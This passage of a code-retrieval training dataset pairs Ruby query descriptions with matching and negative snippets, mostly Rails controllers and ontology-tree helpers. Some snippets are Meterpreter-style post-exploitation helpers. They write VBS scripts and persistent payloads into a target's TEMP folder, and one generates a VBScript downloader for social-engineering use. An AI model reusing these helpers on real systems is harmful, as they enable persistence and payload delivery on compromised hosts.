query
stringlengths
7
9.5k
document
stringlengths
10
1.07M
negatives
listlengths
19
19
metadata
dict
Recursive function to query the OLS database and collect all of the child objects and build up a tree of OntologyTerm's.
def get_children( node=self ) sql = <<-SQL select subject_term.identifier as child_identifier, subject_term.term_name as child_term, predicate_term.term_name as relation, object_term.identifier as parent_identifier, object_term.term_name as parent_term from term_relationship tr join term as subject_term on tr.subject_term_pk = subject_term.term_pk join term as predicate_term on tr.predicate_term_pk = predicate_term.term_pk join term as object_term on tr.object_term_pk = object_term.term_pk where predicate_term.term_name in ('part_of','is_a','develops_from') and object_term.identifier = ? SQL OLS_DB[sql,node.term].each do |row| child = OntologyTerm.new( row[:child_identifier], row[:child_term] ) node << child end end
[ "def get_all_child_lists\n child_check\n \n if @all_child_terms.nil? and @all_child_names.nil?\n @all_child_terms = []\n @all_child_names = []\n \n self.children.each do |child|\n @all_child_terms.push( child.term )\n @all_child_terms.push( child.all_child_terms )\n @all_child_names.push( child.term_name )\n @all_child_names.push( child.all_child_names )\n end\n \n @all_child_terms = @all_child_terms.flatten.uniq\n @all_child_names = @all_child_names.flatten.uniq\n end\n end", "def all_child_terms\n get_all_child_lists\n return @all_child_terms\n end", "def recurse(object)\n # Step 1: Let the tree only has children nodes and not label & path.\n # `@root` has the group name, hence deleting its references like `label` and `path`\n label = object.delete('label')\n path = object.delete('path')\n\n # Step 2: Initialize to an empty hash to create a new tree picking immediate children from each level considered.\n children = {}\n\n # Step 3: Iterating over each node considering active level and add it to the database.\n object.each do |key, value|\n # 3.a. Let the current hash only has children nodes, ignore `label`, `path`, & `tk_id`.\n iteratable_hash = value.except('label', 'path', 'tk_id')\n\n # 3.b. Generate a random hex value and assume it as a parent node ID\n parent_id = SecureRandom.hex\n\n # 3.c. Assign parent node ID to the child nodes.\n # Desc:\n # Creating a whole tree from children, each children node must their parent node's reference.\n # `tk_id` is a reference to parent node and is TaxonomyKeyword#id\n iteratable_hash.values.each do |i_h|\n i_h.merge!('tk_id' => parent_id)\n end\n\n # 3.d. Save the current node to the database\n # ...\n\n # 3.e. Retain the topics but from different domains with the same name.\n # Desc:\n # Possibility that same topic may occur under different domains with same name.\n # Hence, drilling down the taxonomies using `path` since `path` shall remains unique.\n iteratable_hash.each do |i_key, i_value|\n children[i_value['path']] = i_value\n end\n\n # 3.f: Do not consider leaf nodes i.e. those have no children to process.\n\n # 3.g: Capture the parent id generated.\n # Scope: Does nothing.\n @existing_taxons << parent_id\n end\n\n return if children.empty?\n\n # Step 3: Re-initialize whole `@state` with a new tree structure (only children from current_level)\n @state = children.clone\n\n # Step 4: Perform repeatedly till we have an empty tree. Empty tree means no more leaf nodes.\n recurse(@state)\n end", "def build_full_tree\n self.class.in_tree_load = true\n begin\n # get all the children with levels counted and ordered in one SQL statement - this is what nested sets are all about \n # then do a depth first traversal of all the entire list to build the tree in memory\n child_list = self.class.find_by_sql(\"SELECT t1.*,(select count(*) from #{self.class.table_name} t2 where t2.#{left_col_name}<t1.#{left_col_name} and t2.#{right_col_name} > t1.#{right_col_name}) as depth from #{self.class.table_name} t1 where t1.#{left_col_name} >#{left_col_val} and t1.#{right_col_name} <#{right_col_val} order by #{left_col_name} desc\")\n # child_list.each{|r| r.in_tree = true}\n #for some strange reason depth comes back as a string in Postgresql hence the .to_i \n build_tree_by_recursion(self,child_list.last.depth.to_i,child_list) unless child_list.size == 0\n ensure\n self.class.in_tree_load = false\n end\n return self \nend", "def build_tree_from(term, children, counts)\n node = {\n \"name\": term,\n \"count\": counts[term] || 0\n }\n if children[term]\n node['children'] = children[term].map {|t| build_tree_from(t, children, counts) }\n end\n node\n end", "def get_all_children(catalog)\n catalog.descendant_catalogs\n end", "def build_children_with data\n associations[:children].each do |child|\n klass_name = get_klass_name(child).constantize\n _data = *data[child]\n built_objs = []\n\n _data.each do |element|\n built_objs << klass_name.build(element)\n end\n __set_belongs_to(built_objs) unless built_objs.last.associations[:parents].nil?\n\n # If we only have one item we extract it from the array\n built_objs = built_objs.first if built_objs.length == 1\n __set_meta_reader(child, built_objs)\n end\n end", "def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest scoring words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end", "def all_children(extras = {})\n return [] unless might_have_children? # optimization shortcut\n self.class.scoped(scope_hash_for_branch).find(:all, extras)\n end", "def objects\n query = self.root.uniq\n self.joins.each do |join|\n query = query.joins{ join.split('.').inject((join.present? ? self : nil), :__send__).outer }\n query = query.includes{ join.split('.').inject((join.present? ? self : nil), :__send__).outer }\n end\n query = query.reorder{ my{sort} } if sortable\n query = query.where{ my{search(params[:sSearch])} } if searchable\n query = query.paginate(page: page, per_page: per_page)\n end", "def roots\n self.ontology_classes(force_reload=true).select{|c| c.isroot?}\n end", "def build_hierarchy\n root = LetterNode.new(nil)\n\n # TODO: Limit word table to 50,000 highest ranking words\n\n words.each do |word|\n wl = root\n word.spelling.each_char do |letter|\n wl = wl.add(letter, word.count)\n end\n wl.word!(word.count)\n end\n\n root\n end", "def rebuild_hierarchies!\n query(\"MATCH (:Page)-[parent:parent]->(:Page) DELETE parent\")\n query(\"MATCH (:Page)-[in_clade:in_clade]->(:Page) DELETE in_clade\")\n missing = {}\n related = {}\n # HACK HACK HACK HACK: We want to use Resource.native here, NOT ITIS!\n itis = Resource.where(name: \"Integrated Taxonomic Information System (ITIS)\").first\n raise \" I tried to use ITIS as the native node for the relationships, but it wasn't there.\" unless itis\n Node.where([\"resource_id = ? AND parent_id IS NOT NULL AND page_id IS NOT NULL\",\n itis.id]).\n includes(:parent).\n find_each do |node|\n page_id = node.page_id\n parent_id = node.parent.page_id\n next if missing.has_key?(page_id) || missing.has_key?(parent_id)\n page = page_exists?(page_id)\n page = page.first if page\n if page\n relate(\"in_clade\", page, page)\n end\n next if related.has_key?(page_id)\n parent = page_exists?(parent_id)\n parent = parent.first if parent\n if page && parent\n if page_id == parent_id\n puts \"** OOPS! Attempted to add #{page_id} as a parent of itself!\"\n else\n relate(\"parent\", page, parent)\n relate(\"in_clade\", page, parent)\n related[page_id] = parent_id\n # puts(\"#{page_id}-[:parent]->#{parent_id}\")\n end\n else\n missing[page_id] = true unless page\n missing[parent_id] = true unless parent\n end\n end\n related.each do |page, parent|\n puts(\"#{page}-[:in_clade*]->#{parent}\")\n end\n puts \"Missing pages in TraitBank: #{missing.keys.sort.join(\", \")}\"\n end", "def get_childs(recursive, ret_obj)\n\n return self.class.get_childs(self.id, recursive, ret_obj)\n end", "def root_terms(ontology)\n root_terms = []\n root_terms = @cache.root_terms(ontology) if using_cache?\n\n if root_terms.empty?\n response = request(:get_root_terms) { soap.body = { :ontologyName => ontology } }\n\n if response[:item].is_a? Array\n response[:item].each do |term|\n root_terms.push( OLS::Term.new(term[:key],term[:value]) )\n end\n else\n term = response[:item]\n root_terms.push( OLS::Term.new(term[:key],term[:value]) )\n end\n end\n\n root_terms\n end", "def initialize_relations\n @root.parent = nil\n\n stack = [@root]\n until stack.empty?\n cur_rel = stack.pop\n\n # Prevents cycles from occurring as a result of multiple attrs\n # mapping into the same relation\n non_pk_attrs = cur_rel.attributes - cur_rel.pks\n\n non_pk_attrs.each do |attr|\n child_rel = pk_to_relation(attr)\n if child_rel\n child_rel.parent = cur_rel\n stack.push(child_rel)\n end\n end\n end\n\n calculate_depths\n end", "def descendants\n unless new_record?\n ds = self.class.filter do\n tree_path_column.like \"'#{child_path + \"%\"}'\".lit\n end.extend(ChildrenMethods)\n ds.parent = self\n ds\n end\n end", "def find_children\n if @document.collection? && @document.component_documents.empty?\n retrieved_docs = self.class.query_solr(@document)\n return [] if retrieved_docs.empty?\n\n retrieved_doc = retrieved_docs.first\n return retrieved_doc.component_documents.map { |doc| self.class.new(doc) }\n end\n\n @document.component_documents.map { |doc| self.class.new(doc) }\n end", "def rebuild(tree)\n return if check_tree_levels(tree)\n \n # Will hold all object types found in tree.\n object_types = []\n\n # Will hold all nodes at specific levels of the tree.\n tree_levels = []\n\n # Go through all tree nodes in a depth-first manner\n tree.each do |node|\n type = node.name\n \n if (object_types.include?(type) == false)\n object_types << type \n \n hash = {type => [node]}\n \n tree_levels << hash\n else\n # Object type already present, so try to append node\n # to specific level.\n \n # Search for hash with key == type\n hash = tree_levels.find { |hash| hash.has_key?(type)}\n \n # Get array of nodes\n node_array = hash[type]\n\n # Add node to array if it is not already present\n node_array << node unless node_array.include?(node) \n end\n end\n\n tree.build_tree(tree_levels, 0)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Helper function to check whether the children have already been found or not.
def child_check if @children.nil? or @children.empty? get_children unless @already_fetched_children @already_fetched_children = true end end
[ "def hasChildren?\n @children.length != 0\n end", "def has_children?\n @children.length > 0\n end", "def has_children()\n return 1 if(@children.length > 0)\n 0\n end", "def match_children?(arg)\n self_childless = @children.nil?\n arg_childless = !arg.is_a?(Enumerable) || arg.count == 0\n return true if self_childless\n return false if !self_childless && arg_childless\n\n arg.all? do |a|\n if !arg.is_a?(Array) && a.is_a?(Array)\n a.each.with_index.reduce(nil) do |memo,(component,index)|\n result = @children[index].any? { |c| c.match? component }\n (memo.nil?) ? result : memo && result\n end\n else # The elements of this collection have no components\n @children.first.any? { |c| c.match? a }\n end\n end\n end", "def has_children?\n @nodes && !@nodes.empty?\n end", "def hasChildNodes\n !@children.nil? && @children.length > 0\n end", "def has_children?\n @nokogiri.children.any? {|child| child.kind_of? Nokogiri::XML::Element }\n end", "def has_children?(path)\n return false if (! path_exist? path)\n # prune at level 2 (direct children) and ignore the hit for self\n @content_tree.subtree(path, nil, 2, true).count > 1\n end", "def hasChildrenPost\n if Post.find_all_by_post_id(self.id).count() > 0\n true\n else\n false\n end\n end", "def any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end", "def child_exists(name)\n child(name)\n true\n rescue Exception::NotFound => e\n false\n end", "def has_children?\n !leaf?\n end", "def children?\n @contents.children?\n end", "def has_children_elements?\n # Interface method\n end", "def pages?\n self.children.exists?\n end", "def contains?(widget)\n return (not @children.index(widget).nil?)\n end", "def only_child?\n if parent\n siblings.empty?\n end\n end", "def child_of?(other)\n not other.children.index(self).nil?\n end", "def is_only_child?\n return false if parent.nil? # root\n 1 == parent.children.size\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Helper function to produce the flat lists of all the child terms and names.
def get_all_child_lists child_check if @all_child_terms.nil? and @all_child_names.nil? @all_child_terms = [] @all_child_names = [] self.children.each do |child| @all_child_terms.push( child.term ) @all_child_terms.push( child.all_child_terms ) @all_child_names.push( child.term_name ) @all_child_names.push( child.all_child_names ) end @all_child_terms = @all_child_terms.flatten.uniq @all_child_names = @all_child_names.flatten.uniq end end
[ "def all_child_terms\n get_all_child_lists\n return @all_child_terms\n end", "def all_child_names\n all_children.map(&:term_name)\n end", "def children_names\n children.map(&:term_name)\n end", "def child_terms\n h = {}\n\n # collect the sub-terms of the terms applicable to this node\n terms.each do |term|\n term.terms.each do |k1, v1|\n h[k1] = v1\n end\n end\n\n # and mix in any global terms of this node's ancestors\n self.ancestors.each do |a|\n a.term_accessors.each { |k,t| h[k] ||= t if t.options[:global] }\n end\n\n h\n end", "def children_names; @children.keys; end", "def all_child_ids\n all_children.map(&:term_id)\n end", "def all_parent_names\n all_parents.map(&:term_name)\n end", "def children_names\n children.keys\n end", "def children_ids\n children.map(&:term_id)\n end", "def parent_names\n parents.map(&:term_name)\n end", "def get_children( node=self )\n sql = <<-SQL\n select\n subject_term.identifier as child_identifier,\n subject_term.term_name as child_term,\n predicate_term.term_name as relation,\n object_term.identifier as parent_identifier,\n object_term.term_name as parent_term\n from\n term_relationship tr\n join term as subject_term on tr.subject_term_pk = subject_term.term_pk\n join term as predicate_term on tr.predicate_term_pk = predicate_term.term_pk\n join term as object_term on tr.object_term_pk = object_term.term_pk\n where\n predicate_term.term_name in ('part_of','is_a','develops_from')\n and object_term.identifier = ?\n SQL\n \n OLS_DB[sql,node.term].each do |row|\n child = OntologyTerm.new( row[:child_identifier], row[:child_term] )\n node << child\n end\n end", "def terms\n to_quad.map {|t| t.respond_to?(:terms) ? t.terms : t}.flatten.compact\n end", "def descendents\r\n @children.map { |child| [child, child.descendents] }.flatten\r\n end", "def get_terms(tag)\n terms = tag.terms\n\n parent_tag = tag.parent_tag\n until parent_tag.nil?\n terms.concat(parent_tag.terms)\n parent_tag = parent_tag.parent_tag\n end\n\n # sort the terms as they come out\n result = terms.uniq\n if !@sort_alphabetical\n result = result.sort { |x, y| x.row <=> y.row }\n else\n result = result.sort { |x, y| x.name <=> y.name }\n end\n\n result\n end", "def all_child_organizations\n [org_children, org_children.map(&:all_child_organizations)].flatten\n end", "def terms\n @data.map(&:uniq).flatten\n end", "def subcategories_names\n arr = []\n subcategories.each do |i|\n arr << i.name\n end\n\t\tarr.join(\", \")\n end", "def all_top_level_subject_terms\n\n # all_terms_list = []\n # middle_level_list = []\n # bottom_level_list = []\n\n top_level_list = parse_authority_response(SolrQuery.new.solr_query(q='istopconcept_tesim:true', fl='id,preflabel_tesim', rows=1000, sort='preflabel_si asc'))\n\n top_level_list.each_with_index do |t1, index|\n\n id = t1['id']\n\n middle_level_list = parse_authority_response(SolrQuery.new.solr_query(q='broader_ssim:' + id, fl='id,preflabel_tesim', rows=1000, sort='preflabel_si asc'))\n\n t1[:elements] = middle_level_list\n\n middle_level_list.each_with_index do |t2, index|\n\n id2 = t2['id']\n\n bottom_level_list = parse_authority_response(SolrQuery.new.solr_query(q='broader_ssim:' + id2, fl='id,preflabel_tesim', rows=1000, sort='preflabel_si asc'))\n\n t2[:elements] = bottom_level_list\n\n end\n\n end\n\n return top_level_list\n\n end", "def terms\n term_list = []\n frm.table(:class=>\"listHier lines nolines\").rows.each do |row|\n term_list << row[0].text\n end\n term_list.delete_at(0)\n return term_list\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Write message vbs script on host
def write_msg_to_target(message) print_status("Writting message script on host...") location = session.sys.config.getenv('TEMP') msgvbs = "#{location}\\messenger.vbs" mg = @client.fs.file.new(msgvbs, "wb") mg.write("msgbox(\"#{message}\")") mg.close return msgvbs end
[ "def write_msg_to_target(nam,message)\nprint_status(\"Writting message script on host...\")\nlocation = session.sys.config.getenv('TEMP')\nmsgvbs = \"#{location}\\\\msg.vbs\"\nmg = @client.fs.file.new(msgvbs, \"wb\")\nmg.write(\"msgbox(\\\"#{message}\\\")\")\nmg.close\nreturn msgvbs\nend", "def CliPvtMsg\n puts \"client> Mensagem enviada.\"\n end", "def send(message)\n send_raw \"<script language='javascript' type='text/javascript'>\"+\n \"#{message}</script>\"\n end", "def write_script_to_target(vbs, name)\n filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + \".vbs\"\n temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')\n filepath = temppath + \"\\\\\" + filename\n\n unless directory?(temppath)\n print_error(\"#{temppath} does not exists on the target\")\n return nil\n end\n\n if file?(filepath)\n print_warning(\"#{filepath} already exists on the target. Deleting...\")\n begin\n file_rm(filepath)\n print_good(\"Deleted #{filepath}\")\n rescue\n print_error(\"Unable to delete file!\")\n return nil\n end\n end\n\n begin\n write_file(filepath, vbs)\n print_good(\"Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}\")\n\n # Escape windows pathname separators.\n @clean_up_rc << \"rm #{filepath.gsub(/\\\\/, '//')}\\n\"\n rescue\n print_error(\"Could not write the payload on the target\")\n # Return nil since we could not write the file on the target\n filepath = nil\n end\n\n filepath\n end", "def display_message(message)\n require 'Win32API'\n require 'win32ole'\n WIN32OLE.new('WScript.Shell').Popup(message.to_s)\n end", "def send_message(msg)\n @ws.send msg\n end", "def write_script_to_target(target_dir,vbs)\n if target_dir\n tempdir = target_dir\n else\n tempdir = client.fs.file.expand_path(\"%TEMP%\")\n end\n tempvbs = tempdir + \"\\\\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + \".vbs\"\n fd = client.fs.file.new(tempvbs, \"wb\")\n fd.write(vbs)\n fd.close\n print_good(\"Persistent Script written to #{tempvbs}\")\n # Escape windows pathname separators.\n file_local_write(@clean_up_rc, \"rm #{tempvbs.gsub(/\\\\/, '//')}\\n\")\n return tempvbs\n end", "def vbs_down_payload\n\t\tprint_status(\"Simple VBScript Downloader Script Builder\")\n\t\tprint_caution(\"Please provide (pre-encoded) URL to the file you want to download: \")\n\t\tzSITE=gets.chomp\n\n\t\tprint_caution(\"Provide Name to save file as: \")\n\t\tzNAME=gets.chomp\n\n\t\tprint_status(\"Generating downloader.vbs, hang tight a sec.....\")\n\t\tdownloader = \"#{@results}downloader.vbs\"\n\n\t\tf=File.open(downloader, 'w')\n\t\tf.puts \"strFileURL = \\\"#{zSITE}\\\"\"\n\t\tf.puts \"strHDLocation = \\\"#{zNAME}\\\"\"\n\t\tf.puts \"\"\n\t\tf.puts \"Set objXMLHTTP = CreateObject(\\\"MSXML2.XMLHTTP\\\")\"\n\t\tf.puts \"objXMLHTTP.open \\\"GET\\\", strFileURL, false\"\n\t\tf.puts \"objXMLHTTP.send()\"\n\t\tf.puts \"\"\n\t\tf.puts \"If objXMLHTTP.Status = 200 Then\"\n\t\tf.puts \"Set objADOStream = CreateObject(\\\"ADODB.Stream\\\")\"\n\t\tf.puts \"objADOStream.Open\"\n\t\tf.puts \"objADOStream.Type = 1\"\n\t\tf.puts \"objADOStream.Write objXMLHTTP.ResponseBody\"\n\t\tf.puts \"objADOStream.Position = 0\"\n\t\tf.puts \"Set objFSO = Createobject(\\\"Scripting.FileSystemObject\\\")\"\n\t\tf.puts \"\"\n\t\tf.puts \"If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation\"\n\t\tf.puts \"Set objFSO = Nothing\"\n\t\tf.puts \"objADOStream.SaveToFile strHDLocation\"\n\t\tf.puts \"objADOStream.Close\"\n\t\tf.puts \"Set objADOStream = Nothing\"\n\t\tf.puts \"End if\"\n\t\tf.puts \"\"\n\t\tf.puts \"Set objXMLHTTP = Nothing\"\n\t\tf.close\n\n\t\tsleep(2)\n\t\tprint_status(\"\")\n\t\tprint_status(\"Your Windows Downloader Script is ready to go!\")\n\t\tprint_status(\"You can find it here: #{downloader}\")\n\t\tprint_status(\"May the SE Force be with you.....\")\n\t\tprint_status(\"\")\n\tend", "def put_script(script, data)\n args = sieve_name(script)\n args += ' ' + sieve_string(data) if data\n send_command('PUTSCRIPT', args)\n end", "def send(message)\n info(\"[Smartfocus] Send -> #{message}\")\n end", "def bye_message\n message = \"Panacea's work is done, enjoy!\"\n say \"\\n\\n\\e[34m#{message}\\e[0m\"\n end", "def send_message(body)\n # checksum\n body << ((~body.sum+1) & 0x7F)\n\n # sysex wrapper and header\n msg = [\n 0xF0,\n 0x00,0x01,0x73,0x7E, # header: iConnectivity's manufacturer ID and message class\n *body,\n 0xF7\n ]\n\n # send sysex\n output = UniMIDI::Output.first\n output.puts(msg)\nend", "def send_message message\n message = \"#{message}\\n\"\n puts \"client << #{message}\"\n send_data message\n end", "def send_text(text)\n puts \"↪ #{text}\"\n end", "def speak_text(texttospeak)\r\n \t\tfixedmessage = texttospeak\r\n \t\tfixedmessage = fixedmessage.gsub(\"\\r\", \" \")\r\n \t\tfixedmessage = fixedmessage.gsub(\"\\n\", \" \")\r\n \t\tfixedmessage = fixedmessage.strip\r\n \t\texec(\"AGI\", \"swift.agi|\\\"\" + fixedmessage + \"\\\"\")\r\n \tend", "def send_whisper(user, message)\n @bot.message_queue.push(\"PRIVMSG #jtv :/w #{user} #{message}\")\n end", "def send_message(message)\n client.puts message\n end", "def write(text)\n shell.write(text)\n end", "def say(line)\n send_data(\"#{line}\\r\\n\\r\\n\")\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Override answered? to ensure last answer was not the user resetting the selection to the default unselected state.
def answered? if answers.length == 0 return false end if answers.last.rationale_choices.size > 0 # # The last answer is a list containing only one item, and it # does not contain a key for :choice_id. This is the answer we # generated in the case of unselecting a previous selection. # I.e. user is resetting to the default unselected state. # {:answer=>"not answered"} # return true end return false end
[ "def default_answer\n @default_answer ||= false\n end", "def update_question_status\n question.answered = answer || self.class.where(:question_id => question_id, :answer => true).any?\n question.save\n end", "def best_answer_selected?(answer_model)\r\n text_exists?(MESSAGE_BEST_ANSWER_SELECTED)\r\n end", "def reset_answer\n self.answer_text = ''\n save\n acting_as\n end", "def only_one_default_answer\n errors.add_to_base(\"#{answer_type.titlecase} style questions can have only one default answer\") if self.choice_answers.select(&:is_default).count > 1\n end", "def answered?\n return @answered\n end", "def set_incorrect_answer\r\n set_question_and_answer\r\n @answer.correct = 0\r\n save_answer_and_render\r\n end", "def update_choice_skip\r\n return false\r\n end", "def only_one_default_answer\n defaults = self.choice_answers.map{|ca| ca.is_default}.reject{|is_default| is_default == false}\n if(defaults.size > 1)\n errors.add_to_base(\"#{answer_type.titlecase} style questions can have only one default answer\")\n end\n end", "def unanswered\n self << \"UNANSWERED\"\n end", "def update_choice_skip\n return false\n end", "def remove_choices?\n self.choices = nil unless self.choices_answer?\n end", "def answered?\n !(%w(answered) & flags).empty?\n end", "def set_correct_answer\r\n set_question_and_answer\r\n @answer.correct = 1\r\n save_answer_and_render\r\n end", "def accepted_answer?\n self == question.accepted_answer\n end", "def concluded?\n state == :answered || state == :canceled\n end", "def correct_answer\n @correct_answer ||= question.correct\n end", "def can_continue?\n unless get_last_answer.option.question.next.nil?\n return true if get_last_answer.option.question.next.section.eql? get_last_answer.option.question.section\n end\n self.answered_at = DateTime.current\n self.save!\n\n return false\n end", "def reset_answers?(answer)\n if answer == 'yes' || answer == 'y'\n puts `git reset --hard`\n theme_questions\n elsif answer == 'no' || answer == 'n'\n File.delete 'builder.rb'\n explosion\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /ocorrencias POST /ocorrencias.json
def create @ocorrencia = Ocorrencia.new(ocorrencia_params) respond_to do |format| if @ocorrencia.save format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully created.' } format.json { render action: 'show', status: :created, location: @ocorrencia } else format.html { render action: 'new' } format.json { render json: @ocorrencia.errors, status: :unprocessable_entity } end end end
[ "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def create\n @ocorrencia = Ocorrencia.new(ocorrencia_params)\n\n respond_to do |format|\n if @ocorrencia.save\n format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully created.' }\n format.json { render :show, status: :created, location: @ocorrencia }\n else\n format.html { render :new }\n format.json { render json: @ocorrencia.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @opcion = Opcion.new(params[:opcion])\n\n if @opcion.save\n render json: @opcion, status: :created, location: @opcion\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end", "def create\n ob = obra_params\n aut = Autor.find_by nome: ob[\"autorint_id\"]\n edi = Editora.find_by nome: ob[\"editora_id\"]\n ob[\"autorint_id\"] = aut[\"id\"]\n ob[\"editora_id\"] = edi[\"id\"]\n @obra = Obra.new(ob)\n\n respond_to do |format|\n if @obra.save\n format.html { redirect_to @obra, notice: 'Obra was successfully created.' }\n format.json { render :show, status: :created, location: @obra }\n else\n format.html { render :new }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @rota = Rota.new(params[:rota])\n\n respond_to do |format|\n if @rota.save\n format.html { redirect_to @rota, notice: 'rota was successfully created.' }\n format.json { render json: @rota, status: :created, location: @rota }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rota.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @casas_de_repouso = CasasDeRepouso.new(casas_de_repouso_params)\n\n respond_to do |format|\n if @casas_de_repouso.save\n format.html { redirect_to @casas_de_repouso, notice: 'Casas de repouso was successfully created.' }\n format.json { render :show, status: :created, location: @casas_de_repouso }\n else\n format.html { render :new }\n format.json { render json: @casas_de_repouso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cargo_eleicao = CargoEleicao.new(params[:cargo_eleicao])\n\n respond_to do |format|\n if @cargo_eleicao.save\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully created.' }\n format.json { render json: @cargo_eleicao, status: :created, location: @cargo_eleicao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n @taco = Taco.new(taco_params)\n\n if @taco.save\n render json: @taco, status: :created, location: @taco\n else\n render json: @taco.errors, status: :unprocessable_entity\n end\n end", "def create\n @orgao = Orgao.new(orgao_params)\n\n if @orgao.save\n render json: @orgao, status: :created, location: @orgao\n else\n render json: @orgao.errors, status: :unprocessable_entity\n end\n end", "def create\n @rodeo = Rodeo.new(params[:rodeo])\n\n respond_to do |format|\n if @rodeo.save\n format.html { redirect_to rodeos_path, notice: 'Rodeo was successfully created.' }\n format.json { render json: @rodeo, status: :created, location: @rodeo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rodeo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @agronomiadecanato = Agronomiadecanato.new(params[:agronomiadecanato])\n\n respond_to do |format|\n if @agronomiadecanato.save\n format.html { redirect_to @agronomiadecanato, notice: 'Agronomiadecanato was successfully created.' }\n format.json { render json: @agronomiadecanato, status: :created, location: @agronomiadecanato }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiadecanato.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @orador = Orador.new(params[:orador])\n\n respond_to do |format|\n if @orador.save\n format.html { redirect_to @orador, notice: 'Orador was successfully created.' }\n format.json { render json: @orador, status: :created, location: @orador }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orador.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @restora = Restora.new(restora_params)\n\n respond_to do |format|\n if @restora.save\n format.html { redirect_to @restora, notice: 'Restora was successfully created.' }\n format.json { render :show, status: :created, location: @restora }\n else\n format.html { render :new }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @controle_de_obra = ControleDeObra.new(controle_de_obra_params)\n\n respond_to do |format|\n if @controle_de_obra.save\n format.html { redirect_to @controle_de_obra, notice: 'Controle de obra was successfully created.' }\n format.json { render :show, status: :created, location: @controle_de_obra }\n else\n format.html { render :new }\n format.json { render json: @controle_de_obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @recorrido = Recorrido.new(recorrido_params)\n\n respond_to do |format|\n if @recorrido.save\n format.html { redirect_to @recorrido, notice: 'Recorrido was successfully created.' }\n format.json { render :show, status: :created, location: @recorrido }\n else\n format.html { render :new }\n format.json { render json: @recorrido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ocar = Ocar.new(params[:ocar])\n\n respond_to do |format|\n if @ocar.save\n format.html { redirect_to @ocar, notice: 'Ocar was successfully created.' }\n format.json { render json: @ocar, status: :created, location: @ocar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ocar.errors, status: :unprocessable_entity }\n end\n end\n end", "def criar(nome, data)\n @client.post(Route.new([ROTA_URA]), {\n nome: nome,\n dados: data\n })\n end", "def create\n @osoba = Osoba.new(osoba_params)\n\n respond_to do |format|\n if @osoba.save\n format.html { redirect_to @osoba, notice: 'Osoba was successfully created.' }\n format.json { render :show, status: :created, location: @osoba }\n else\n format.html { render :new }\n format.json { render json: @osoba.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PATCH/PUT /ocorrencias/1 PATCH/PUT /ocorrencias/1.json
def update respond_to do |format| if @ocorrencia.update(ocorrencia_params) format.html { redirect_to @ocorrencia, notice: 'Ocorrencia was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @ocorrencia.errors, status: :unprocessable_entity } end end end
[ "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def update\n @pelicula = Pelicula.find(params[:id])\n @pelicula.update(update_params)\n render json: @pelicula, status: :ok\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @orgao = Orgao.find(params[:id])\n\n if @orgao.update(orgao_params)\n head :no_content\n else\n render json: @orgao.errors, status: :unprocessable_entity\n end\n end", "def update\n @objeto = Objeto.find(params[:id])\n\n respond_to do |format|\n if @objeto.update_attributes(params[:objeto])\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rota = rota.find(params[:id])\n\n respond_to do |format|\n if @rota.update_attributes(params[:rota])\n format.html { redirect_to @rota, 